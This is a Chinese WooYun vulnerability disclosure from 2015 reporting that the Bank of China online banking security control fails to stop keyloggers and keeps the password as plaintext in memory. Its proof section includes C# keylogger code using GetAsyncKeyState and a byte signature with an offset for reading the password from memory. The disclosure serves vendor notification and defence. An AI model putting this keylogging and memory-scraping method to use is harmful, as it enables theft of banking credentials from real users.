当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0114746

漏洞标题:纸糊的国内网银安全控件系列漏洞之中国银行篇(一)

相关厂商:中国银行

漏洞作者: 路人甲

提交时间:2015-05-18 11:18

修复时间:2015-08-16 14:44

公开时间:2015-08-16 14:44

漏洞类型:用户敏感数据泄漏

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-18: 细节已通知厂商并且等待厂商处理中
2015-05-18: 厂商已经确认,细节仅向厂商公开
2015-05-21: 细节向第三方安全合作伙伴开放
2015-07-12: 细节向核心白帽子及相关领域专家公开
2015-07-22: 细节向普通白帽子公开
2015-08-01: 细节向实习白帽子公开
2015-08-16: 细节向公众公开

简要描述:

按说网银安全控件应该是能够在不安全的环境里保护用户安全的(废话!本来就安全的环境还要他保护个蛋啊!)。但实际上由于设计缺陷,某些控件一点安全性都没有。

详细说明:

中国银行个人网银安全控件完全不能保护用户密码,完全没有对抗键盘记录的设计。
更严重的是!内存里有明文密码,而且位置不随机,直接搜索内存特征码即可查找到!
详细内容见证明。

漏洞证明:

完全没有键盘记录器的对抗,甚至无需键盘钩子,循环调用API函数GetAsyncKeyState即可进行键盘记录。

bool bShift = false;
for (int key = 0; key < 120; key++)
{
if (GetAsyncKeyState(key) != 0)
{
if (key == 8)
{
textBox1.Text = textBox1.Text + "BS,";
continue;
}
if (key == 16)
{
bShift = true;
continue;
}
if (key < 20 || key > 90)
continue;
if (bShift)
{
textBox1.Text = textBox1.Text + "S+" + ((char)key).ToString() + ",";
}
else
{
textBox1.Text = textBox1.Text + ((char)key).ToString() + ",";
}
}
}


内存搜索特征码:01 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00
找到后偏移地址+0x20,读取内存长度0x14,进行ascii转换后即为明文密码。
图中左上为内存搜索结果,左下为调用GetAsyncKeyState进行键盘记录的demo,右侧为安装了中行安全控件的IE。

中行1.png


修复方案:

咱好好设计下行不?这安全性除了能防XSS直接JS读密码以外啥都防不了。虽然其他银行也不咋地吧,人家好歹内存没有明文,做个键盘消息拦截防一下键盘记录器,虽然也没什么用。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-05-18 14:42

厂商回复:

谢谢,我们将对漏洞尽快处理

最新状态:

暂无